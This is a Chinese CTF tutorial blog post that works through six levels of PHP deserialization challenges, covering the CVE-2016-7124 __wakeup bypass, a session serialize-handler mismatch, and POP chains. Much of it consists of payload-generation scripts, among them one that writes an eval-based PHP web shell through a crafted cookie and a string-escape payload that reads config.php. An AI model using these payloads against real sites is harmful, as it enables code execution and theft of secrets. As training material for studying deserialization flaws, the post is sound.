php 开启xmlreader => enabled_PHP反序列化大挑战

861777f190bfb20523317f067f1d1fd7.gif

点击蓝字关注我们

861777f190bfb20523317f067f1d1fd7.gif

3baff5aa02d1ae7c42fefc1cbcd8830d.png

(23分钟后你将读完本篇文章......)经过了一段时间的刷题,发现自己在反序列化这里的认识还很浅薄,魔鬼训练走一波。大量代码预警!!!

声明:由于传播、利用此文所提供的信息而造成的任何直接或间接的后果及损失,均由使用者本人负责,本公众号及文章作者不为此承担任何责任,本文仅限于技术研究范围讨论。

Level 0

<?php error_reporting(0);include "flag.php";$KEY = "adan0s";$str = $_GET['str'];if (unserialize($str) === "$KEY"){    echo "$flag";}?>

让反序列化后的$str等于adan0s就可以了,payload:http://test.com/str=s:6:"adan0s;"

Level 1

提示:需要一个CVE

<?php class Ctf{   protected $file='index.php';  function __destruct(){     if(!empty($this->file)) {      if(strchr($this-> file,"\\")===false &&  strchr($this->file, '/')===false)        show_source(dirname (__FILE__).'/'.$this ->file);      else        die('Wrong filename.');    }  }    function __wakeup(){    $this-> file='index.php';  } }if (!isset($_GET['file'])){   show_source('index.php');}else{   $file=$_GET['file'];   echo unserialize($file); } ?>

这里要让$file为flag.php,但是存在__wakeup()方法,每次反序列化的时候都会先调用它,这样我们就无法控制$file了。

CVE-2016-7124可以绕过__wakeup()方法,具体为:

序列化字符串中表示对象属性个数的值大于真实的属性个数

所以payload为:

O:3:"Ctf":1:{S:7:"/00*/00file";s:8:"flag.php";}//原始payloadO:3:"Ctf":2:{S:7:"/00*/00file";s:8:"flag.php";}//最终payload

这样即可绕过__wakeup()的限制。

Level 2

<?php ini_set('session.serialize_handler', 'php');session_start();class OowoO{    public $mdzz;    function __construct(){        $this->mdzz = 'phpinfo();';    }    function __destruct(){        eval($this->mdzz);    }}if(isset($_GET['phpinfo'])){    $m = new OowoO();}else{    highlight_string(file_get_contents('sessiontest.php'));}?>

在phpinfo页面,我们可以看到这样的信息:

516bf6c9a6477ecd5e7ef49f996bec40.png

序列化和反序列化所使用的处理器不同,就会导致无法正确序列化。

而在这里:

6aa0994bb23853a9d30b901fc9650349.png

可以看到开启了session.upload_progress.enabled,这会导致我们可以通过POST方法传入$_SESSION其原理为:

当 session.upload_progress.enabled INI 选项开启时,PHP 能够在每一个文件上传时监测上传进度。这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态。

当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,上传进度可以在$_SESSION中获得。当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据, 索引是 session.upload_progress.prefix 与 session.upload_progress.name连接在一起的值。

所以我们就构造一个特殊的表单,确保表单里上传一个文件,还有一个与PHP_SESSION_UPLOAD_PROGRESS同名的参数,这样就可以把数据传入$_SESSION.

先从一个例子开始看:

a9c61b51e269da1455e08b8bc4a76e5e.png

我们可以得到以下响应:

177a51aff99d6d108ab7dfe09d94268c.png

array(1) {  ["upload_progress_123"]=>array(5) {                    ["start_time"]=>int(1584503278)                    ["content_length"]=>int(299)                       ["bytes_processed"]=>int(299)                    ["done"]=>bool(true)                    ["files"]=>array(1) {[0]=>array(7) {                                        ["field_name"]=>string(4) "file"                                    ["name"]=>string(6) "adan0s"                                                                                                                ["tmp_name"]=>string(22)                                  "C:\Windows\php9F5C.tmp"                                       ["error"]=>int(0)                                    ["done"]=>bool(true)                      ["start_time"]=>int(1584503278)                                    ["bytes_processed"]=>int(4)                                                                                  }                                                    }                                  }                    }

这里我们可以看到,filename是可控的,那么就在这个点进行攻击。

接下来就是构造payload了,使用如下脚本:

<?php ini_set('session.serialize_handler', 'php');session_start();class OowoO{    public $mdzz;    function __construct(){        $this->mdzz = 'echo system("whoami");';    }    function __destruct(){        eval($this->mdzz);    }}$c = new OowoO();echo serialize($c);?>

还要注意两点:

需要在payload前加上|,这是因为处理器差异。当session.serialize_handler=php,序列化结果为name|s:6:"adan0s";而当session.serialize_handler=php_serialize时,序列化结果为a:1:{s:4:"name";s:6:"adan0s";},所以需要加上|,让处理器把|之前的内容认为是键名,之后的当做序列化内容。

要将payload里的"转义,避免产生冲突。

最后结果如图:

a310b26385b601c7afcf67c104fd74f6.png

我们做到了。

Level 3

<?php class Adan0s {    protected $test;    function __construct() {        $this->test = new normal();    }    function __destruct() {        $this->test->action();    }}class normal {    function action() {        echo "hello";    }}class evil {    private $data;    function action() {        eval($this->data);    }}unserialize($_GET['d']);?>

这道题实际上是入门级构造POP链,我们看到在evil类里有action()方法可以执行代码,现在来追溯,可以发现normal类也有一个action()方法,而在Adan0s类的__construct()方法里实例化了normal类,这样就可以构造POP链了。

对于有些PHP不够熟练的同学,可能看不懂$this->test->action();这种写法,一开始我也看不懂,后面发现很简单。$this是指向当前的实例化对象的,也就是test,这个test不一定是所在类的实例化,还可以是别的类的实例化,全看你给不给它赋值了。后面的->action()就是调用方法了。

所以,我们可以写出payload生成脚本:

<?php class Adan0s {    protected $test;    function __construct() {        $this->test = new evil();    }}class evil {    private $data = 'phpinfo();';}$a = new Adan0s();echo urlencode(serialize($a));?>

此类生成payload脚本的原则就是剔除与数据链条无关的类和方法,只保留最关键的部分。比如此处,我们只用留下这些,其他的都由原先的文件帮你完成。

Level 4

复杂的来了:

<?php class OutputFilter {  protected $matchPattern;  protected $replacement;  function __construct($pattern, $repl) {    $this->matchPattern = $pattern;    $this->replacement = $repl;  }  function filter($data) {    return preg_replace($this->matchPattern, $this->replacement, $data);  }};class LogFileFormat {  protected $filters;  protected $endl;  function __construct($filters, $endl) {    $this->filters = $filters;    $this->endl = $endl;  }  function format($txt) {    foreach ($this->filters as $filter) {      $txt = $filter->filter($txt);    }    $txt = str_replace('\n', $this->endl, $txt);    return $txt;  }};class LogWriter_File {  protected $filename;  protected $format;  function __construct($filename, $format) {    $this->filename = str_replace("..", "__", str_replace("/", "_", $filename));    $this->format = $format;  }  function writeLog($txt) {    $txt = $this->format->format($txt);    file_put_contents("C:\\WWW\\test\\ctf\\kon\\" . $this->filename, $txt, FILE_APPEND);  }};class Logger {  protected $logwriter;  function __construct($writer) {    $this->logwriter = $writer;  }  function log($txt) {    $this->logwriter->writeLog($txt);  }};class Song {  protected $logger;  protected $name;  protected $group;  protected $url;  function __construct($name, $group, $url) {    $this->name = $name;    $this->group = $group;    $this->url = $url;    $fltr = new OutputFilter("/\[i\](.*)\[\/i\]/i", "\\1");    $this->logger = new Logger(new LogWriter_File("song_views", new LogFileFormat(array($fltr), "\n")));  }  function __toString() {    return "" . $this->name . " by " . $this->group;  }  function log() {    $this->logger->log("Song " . $this->name . " by [i]" . $this->group . "[/i] viewed.\n");  }  function get_name() {      return $this->name;  }}class Lyrics {  protected $lyrics;  protected $song;  function __construct($lyrics, $song) {    $this->song = $song;    $this->lyrics = $lyrics;  }  function __toString() {    return "

"

. $this->song->__toString() . "

"

. str_replace("\n", "
", $this->lyrics) . "\n"; } function __destruct() { $this->song->log(); } function shortForm() { return "

"

. $this->song->get_name() . ""; } function name_is($name) { return $this->song->get_name() === $name; }};class User { static function addLyrics($lyrics) { $oldlyrics = array(); if (isset($_COOKIE['lyrics'])) { $oldlyrics = unserialize(base64_decode($_COOKIE['lyrics'])); } foreach ($lyrics as $lyric) $oldlyrics []= $lyric; setcookie('lyrics', base64_encode(serialize($oldlyrics))); } static function getLyrics() { if (isset($_COOKIE['lyrics'])) { return unserialize(base64_decode($_COOKIE['lyrics'])); } else { setcookie('lyrics', base64_encode(serialize(array(1, 2)))); return array(1, 2); } }};class Porter { static function exportData($lyrics) { return base64_encode(serialize($lyrics)); } static function importData($lyrics) { return serialize(base64_decode($lyrics)); }};class Conn { protected $conn; function __construct($dbuser, $dbpass, $db) { $this->conn = mysqli_connect("localhost", $dbuser, $dbpass, $db); } function getLyrics($lyrics) { $r = array(); foreach ($lyrics as $lyric) { $s = intval($lyric); $result = $this->conn->query("SELECT data FROM lyrics WHERE id=$s"); while (($row = $result->fetch_row()) != NULL) { $r []= unserialize(base64_decode($row[0])); } } return $r; } function addLyrics($lyrics) { $ids = array(); foreach ($lyrics as $lyric) { $this->conn->query("INSERT INTO lyrics (data) VALUES (\"" . base64_encode(serialize($lyric)) . "\")"); $res = $this->conn->query("SELECT MAX(id) FROM lyrics"); $id= $res->fetch_row(); $ids[]= intval($id[0]); } echo var_dump($ids); return $ids; } function __destruct() { $this->conn->close(); $this->conn = NULL; }};

很复杂是吧,慢慢来。

首先我们需要找一个参数可控的反序列化点,就在这里:

class User {  static function addLyrics($lyrics) {    $oldlyrics = array();    if (isset($_COOKIE['lyrics'])) {      $oldlyrics = unserialize(base64_decode($_COOKIE['lyrics']));    }    foreach ($lyrics as $lyric) $oldlyrics []= $lyric;    setcookie('lyrics', base64_encode(serialize($oldlyrics)));  }  static function getLyrics() {    if (isset($_COOKIE['lyrics'])) {      return unserialize(base64_decode($_COOKIE['lyrics']));    }    else {      setcookie('lyrics', base64_encode(serialize(array(1, 2))));      return array(1, 2);    }  }};

在cookie处,我们可以控制传入的数据。

下面要做的是寻找能帮我们达成目标的地方,比如执行代码、写入文件等。

很容易地,就可以看到这里:

class LogWriter_File {  protected $filename;  protected $format;  function __construct($filename, $format) {    $this->filename = str_replace("..", "__", str_replace("/", "_", $filename));    $this->format = $format;  }  function writeLog($txt) {    $txt = $this->format->format($txt);    //写入shell    file_put_contents("C:\\WWW\\test\\ctf\\kon\\" . $this->filename, $txt, FILE_APPEND);  }};

通过这个方法,我们可以写入一个shell.

多点一线,已经搞清楚了首尾两处,剩下的就是将他们串起来。

我个人习惯在这时候找各种魔术方法,Logger类里就有:

class Logger {  protected $logwriter;  function __construct($writer) {    $this->logwriter = $writer;  }  function log($txt) {    $this->logwriter->writeLog($txt);  }};

log()方法里出现了writeLog($txt),有戏,现在串通了靠近尾部的一段,继续看哪里可以链接到这里。

很快,你就能找到这里:

class Lyrics {  protected $lyrics;  protected $song;  function __construct($lyrics, $song) {    $this->song = $song;    $this->lyrics = $lyrics;  }  .  .  .  function __destruct() {    $this->song->log();  }};

Lyrics类里有__destruct()方法也使用了log()方法,好像链条已经完整了。

其实还有一点,在LogWriter_File类里使用了LogFileFormat类的format()方法,在这个方法里又用了OutputFilter类的filter()方法,还是得带上他们玩。

梳理一下整个链条:

我们通过cookie传入序列化字符串,内容为实例化一个Lyrics类,并将它的$song属性赋值为一个Logger对象,再将Logger对象的$logwriter属性赋值为一个LogWriter_File对象,

这个对象还要经过其他两个类。

生成脚本为:

<?php $sh = array(new OutputFilter('//','<?php eval(\$_POST["adan0s"])'));//将空白替换为shell内容$obj1 = new LogFileFormat($sh,'\n');$obj2 = new LogWriter_File('shell.php',$obj1);$obj3 = new Logger($obj2);$obj = new Lyrics('',$obj3);echo base64_encode(serialize($obj));?>

最后将其放入cookie,请求一次即可。

Level 5

最后一题,坚持住。

//profile.php<?php     require_once('class.php');    if($_SESSION['username'] == null) {        die('Login First');     }    $username = $_SESSION['username'];    $profile=$user->show_profile($username);    if($profile  == null) {        header('Location: update.php');    }    else {        $profile = unserialize($profile);        $phone = $profile['phone'];        $email = $profile['email'];        $nickname = $profile['nickname'];        $photo = base64_encode(file_get_contents($profile['photo']));?>
//update.php<?php     require_once('class.php');    if($_SESSION['username'] == null) {        die('Login First');     }    if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {        $username = $_SESSION['username'];        if(!preg_match('/^\d{11}$/', $_POST['phone']))            die('Invalid phone');        if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))            die('Invalid email');        if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)            die('Invalid nickname');        $file = $_FILES['photo'];        if($file['size'] < 5 or $file['size'] > 1000000)            die('Photo size error');        move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));        $profile['phone'] = $_POST['phone'];        $profile['email'] = $_POST['email'];        $profile['nickname'] = $_POST['nickname'];        $profile['photo'] = 'upload/' . md5($file['name']);        $user->update_profile($username, serialize($profile));        echo 'Update Profile Success!Your Profile';    }    else {?>
//class.php<?php require('config.php');class user extends mysql{    private $table = 'users';    public function is_exists($username) {        $username = parent::filter($username);        $where = "username = '$username'";        return parent::select($this->table, $where);    }    public function register($username, $password) {        $username = parent::filter($username);        $password = parent::filter($password);        $key_list = Array('username', 'password');        $value_list = Array($username, md5($password));        return parent::insert($this->table, $key_list, $value_list);    }    public function login($username, $password) {        $username = parent::filter($username);        $password = parent::filter($password);        $where = "username = '$username'";        $object = parent::select($this->table, $where);        if ($object && $object->password === md5($password)) {            return true;        } else {            return false;        }    }    public function show_profile($username) {        $username = parent::filter($username);        $where = "username = '$username'";        $object = parent::select($this->table, $where);        return $object->profile;    }    public function update_profile($username, $new_profile) {        $username = parent::filter($username);        $new_profile = parent::filter($new_profile);        $where = "username = '$username'";        return parent::update($this->table, 'profile', $new_profile, $where);    }    public function __tostring() {        return __class__;    }}class mysql {    private $link = null;    public function connect($config) {        $this->link = mysql_connect(            $config['hostname'],            $config['username'],             $config['password']        );        mysql_select_db($config['database']);        mysql_query("SET sql_mode='strict_all_tables'");        return $this->link;    }    public function select($table, $where, $ret = '*') {        $sql = "SELECT $ret FROM $table WHERE $where";        $result = mysql_query($sql, $this->link);        return mysql_fetch_object($result);    }    public function insert($table, $key_list, $value_list) {        $key = implode(',', $key_list);        $value = '\'' . implode('\',\'', $value_list) . '\'';         $sql = "INSERT INTO $table ($key) VALUES ($value)";        return mysql_query($sql);    }    public function update($table, $key, $value, $where) {        $sql = "UPDATE $table SET $key = '$value' WHERE $where";        return mysql_query($sql);    }    public function filter($string) {        $escape = array('\'', '\\\\');       #\   \\         $escape = '/' . implode('|', $escape) . '/';        $string = preg_replace($escape, '_', $string);        $safe = array('select', 'insert', 'update', 'delete', 'where');        $safe = '/' . implode('|', $safe) . '/i';        return preg_replace($safe, 'hacker', $string);    }    public function __tostring() {        return __class__;    }}session_start();$user = new user();$user->connect($config);

flag在config.php里,我们要做的就是读取这个文件。

在profile.php里,有读取文件的地方:

$profile = unserialize($profile);$phone = $profile['phone'];$email = $profile['email'];$nickname = $profile['nickname'];$photo = base64_encode(file_get_contents($profile['photo']));

可以看到最后的$photo使用了file_get_contents(),而且$profile是被反序列化了,所以肯定就是这里了。

再看update.php的这里:

$profile['phone'] = $_POST['phone'];$profile['email'] = $_POST['email'];$profile['nickname'] = $_POST['nickname'];$profile['photo'] = 'upload/' . md5($file['name']);$user->update_profile($username, serialize($profile));

这是数据传入的地方,传入后由update_profile()方法进行更新。

再继续看class.php,user类继承了mysql类,我们主要关注这里:

public function filter($string) {        $escape = array('\'', '\\\\');       #\   \\         $escape = '/' . implode('|', $escape) . '/';        $string = preg_replace($escape, '_', $string);        $safe = array('select', 'insert', 'update', 'delete', 'where');        $safe = '/' . implode('|', $safe) . '/i';        return preg_replace($safe, 'hacker', $string);    }

可以看到,在update_profile()里使用了这个方法进行过滤,其规则为替换关键字,防止SQL注入。

我们要利用这点,进行反序列化字符串逃逸。在存入数据库之前,是需要进行序列化处理的,如果你的字符串里带了关键字,就会被替换,如下:

a:1:{s:4:"test";s:6:"select";} => a:1:{s:4:"test";s:6:"hacker";}

但是如果你的关键字是where,就会出现意外状况:

a:1:{s:4:"test";s:5:"where";} => a:1:{s:4:"test";s:5:"hacker";}

where是5位长度,但是替换后的hacker为6位,就会导致出错。

PHP在进行序列化相关操作时,执行的是这样一个原则:以前面的数字长度为准,即这样的语句也是可以成功的:

//长度错误,失败a:2:{s:4:"tool";s:5:"hacker";s:6:"adan0s";s:6:"baipao";} //成功a:2:{s:4:"tool";s:5:"hacke";s:6:"adan0s";s:6:"baipao";}";s:6:"adan0s";s:6:"baipao";}

看出来区别了吗?前面的只要符合语法和长度,后面的就直接被忽略了。

这就是世界上最好的语言啦。

现在我们利用这个特性还有替换的长度差异,开始构造payload.

输入这样的数据:

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";} //34个where

经过序列化后应该是这样:

{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";i:1;s:5:"world";}

204个字长是包括我们后面的";}s:5:"photo";s:10:"config.php";},所以序列化不会出问题。

但是经过替换之后,34个where变成了34个hacker,总共多出34个字长:

{i:0;s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";i:1;s:5:"world";}

光34个hacker就够204个字长了,等于把后面的";i:1;s:5:"world";}直接“挤”了出去,也就是丢弃掉了后面的,因为符合语法,长度也没问题,所以在后面反序列化的时候不会出错。

好了,我们现在构造好了payload,最后一步就是传入数据了。

但是还有一个拦路虎,在update.php里:

if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {        $username = $_SESSION['username'];        if(!preg_match('/^\d{11}$/', $_POST['phone']))            die('Invalid phone');        if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))            die('Invalid email');        if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)            die('Invalid nickname');        $file = $_FILES['photo'];        if($file['size'] < 5 or $file['size'] > 1000000)            die('Photo size error');

这里对传入的数据进行了检查,最轻的规则是关于nickname的,但是还限制了长度。

长度是可以绕过的,具体可以看我的这篇文章第5条:CTF中的一些小技巧

即我们最后传递nickname[],在内容处填上我们的payload即可成功读取。

结语

经过这几个级别的训练,相信你已经对PHP反序列化漏洞有了较为清晰的认识,那么去分析现实的漏洞吧,0day

12a972e8049a0fa3524f8254df720b39.png

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值